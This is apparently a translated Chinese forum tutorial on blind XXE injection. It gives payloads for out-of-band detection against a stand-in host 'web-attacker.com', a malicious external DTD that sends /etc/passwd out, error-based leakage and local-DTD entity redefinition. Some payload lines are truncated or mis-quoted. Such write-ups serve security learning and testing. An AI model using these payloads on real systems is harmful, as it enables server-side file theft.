(转载翻译)寻找和利用XXE漏洞

nicky   ·   发表于 2020-03-14 22:11:09   ·   技术文章投稿区

什么是XXE盲注

如果应用程序容易受到XXE注入的攻击,但没有在响应中返回任何已定义外部实体的值,则会出现XXE漏洞。这也意味着不可能直接检索服务器端文件,因此通常比XXE漏洞更难。

不过有两种广泛的方法来查找和利用XXE盲注漏洞:
可以触发带外网络交互,有时会在网络交互数据中泄露敏感数据。
通过以下方式触发XML解析错误:错误信息包含敏感数据。

使用夹带技术(OAST)来检测盲注XXE

你通常可以使用跟XXE SSRF攻击类似的技术来寻找XXE。但会触发与你控制的系统网络的数据交互。比如你可以定义一个外部实体:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “http://f2g2j7hhkax.web-attacker.com> ]>

然后你将会在XML的数据值中使用已定义的实体。这个XXE攻击会导致服务器向指定的URL发出后端HTTP请求。黑客可以监控最终的DNS查找和HTTP请求,从而检测到XXE攻击成功。

有时,由于应用程序进行了某些输入验证或者使用的XML解析器升级版,使用常规实体的XXE攻击被组织了。在这种情况下,你可能改为使用实体XML参数实体。XML参数实体是一种特殊的XML实体,只能在DTD中的其它地方引用。就目前而言,你只需要知道两件事。首先,XML参数实体的声明在实体名称之前包含百分比字符:
<!ENTITY % myparameterentity “my parameter entity value” >

第二使用百分号而不是常规的&进行引用参数实体:
%myparameterentity;

这也意味着你可以通过XML参数实体使用夹带检测来测试盲注XXE漏洞,如以下代码所示:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM “http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

这个XXE payload会定义声明一个名为xxe的XML参数实体,然后在DTD中使用该实体。这会导致对攻击者域的DNS查找和HTTP请求,检验攻击是否成功。

利用盲注XXE泄露数据

通过带外技术检测XXE漏洞非常有效,但是实际上并没有说明如何利用这个漏洞。攻击者真正想要实现的是窃取敏感数据。这可以通过一个XXE盲注漏洞来实现,但它涉及攻击者在他们控制的系统上托管一个恶意的DTD,然后从带内XXE有效payload中调用外部DTD

恶意DTD泄露/etc/passwd文件内容的示例如下:
<!ENTITY % file SYSTEM “file:///etc/passwd”>
<!ENTITY % eval “<!ENTITY % exfiltrate SYSTEM ‘
%eval;
%exfiltrate;

该DTD执行了以下步骤:
定义一个名为file的XML的参数实体,包含了/etc/passwd文件内容
定义一个叫eval的XML参数实体,包含了另一个叫exfiltrate的XML参数实体动态声明。将通过向攻击者的WEB服务器发出HTTP请求来评估渗透实体。
使用eval实体,会造成对渗出实体进行动态声明
使用exfiltrate实体,以便通过请求指定的URL来评估

然后攻击者必须将恶意的DTD托管在他们的系统上,通常是加载到自己的服务器上。比如攻击者可以通过以下URL构造恶意的DTD:
http://web-attacker.com/malicious.dtd

最后攻击者必须提交以下XXEpayload到易受攻击的应用:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
http://web-attacker.com/malicious.dtd"> %xxe;]>

这个XXEpayload声明了一个叫xxe的参数实体然后在DTD中使用该实体。这会导致XML解析器从攻击者的服务器获取外部DTD并内联解释。然后执行恶意的DTD中定义的步骤,然后/etc/passwd文件会传输到攻击者的服务器上。

利用盲注XXE通过报错来获取信息

利用盲注XXE的另一种方法是触发XML分析错误,其中错误信息会包含你所希望的报错敏感数据。如果应用程序在其响应内返回生成的错误信息。这将会是有效的。
你可以使用恶意的外部DTD触发包含/etc/passwd文件内容的XML解析错误信息,如下所示:
<!ENTITY % file SYSTEM “file:///etc/passwd”>
<!ENTITY % eval “<!ENTITY % error SYSTEM ‘file:///nonexistent/%file;’>”>
%eval;
%error;

该DTD执行以下步骤:
定义一个名为file的XML参数实体,其中包含/etc/passwd文件内容
定义一个称为eval的XML参数实体,其中包含另一个称为error的XML参数实体的动态声明,将通过加载名称不包含文件实体值的不存在文件来评估错误实体
使用eval实体,这将导致执行错误实体的动态声明。
使用错误实体,以便通过加载不存在的文件来评估其值,从而产生一条错误信息,其中包含不存在的文件的名称,即/etc/passwd文件的内容

调用恶意外部DTD会导致出现以下错误:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

通过重新利用本地DTD来利用XXE盲注

前面的技术对于外部DTD可以很好的工作,但是通常不能与在DOCTYPE元素中完全指定的内部DTD一起工作。这是因为该技术设计在另一个参数实体的定义内使用XML参数实体。根据XML规范,这在外部DTD中是允许的,但在内部是不被允许的。

那么当夹带攻击被阻止时,XXE盲注漏洞该怎么办?你不可以通过夹带攻击外部连接窃取数据,也无法从远程服务器加载外部DTD

在这种情况下,由于XML语言规范中的漏洞,仍有可能包含敏感数据的错误信息。如果文档的DTD使用内部和外部DTD声明的混合体。则内部DTD可以重新定义在外部DTD中声明的实体。发生这种情况时,放宽了在另一个参数实体的定义内使用XML参数的限制。

这也意味着,只要攻击者使用的XML参数实体重新定义了在外部DTD中声明的实体。攻击者就可以在内部DTD中采用基于错误的XXE技术。当然如果阻挡了夹带连接,则无法从远程位置加载外部DTD。而是它必须是应用程序服务器本地的外部DTD文件,然后重新触发该文件以重新定义现有实体,从而触发包含敏感数据的解析错误。

假设服务器文件系统上的/usr/local/app/schema.dtd位置有一个DTD文件,并且此DTD文件定义一个叫custom_entity的实体。攻击者可以通过提交混合DTD来触发包含/etc/passwd文件内容的XML分析错误,如下图所示:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM “file:///usr/local/app/schema.dtd”>
<!ENTITY % custom_entity ‘
<!ENTITY % file SYSTEM “file:///etc/passwd”>
<!ENTITY % eval “<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>”>
%eval;
%error;
‘>
%local_dtd;
]>

这个DTD执行了以下步骤:
定义一个名为local_dtd的XML参数实体,其中包含服务器系统上存在的外部DTD文件内容
重新丁易名为custom_entity的XML参数实体,该实体已经在外部DTD文件中定义。该实体被重新定义为包含以描述的基于错误的XXE利用,用于触发包含/etc/passwd文件内容的错误信息。
使用local_dtd实体,以便解释外部DTD,包括custom_entity实体的重新定义值。这将导致所需的错误信息

用户名金币积分时间理由
奖励系统 100.00 0 2020-12-17 08:08:16 投稿满 10 赞奖励
奖励系统 50.00 0 2020-12-16 16:04:45 投稿满 5 赞奖励

打赏我,让我更有动力~

0 Reply   |  Until 2020-3-14 | 857 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.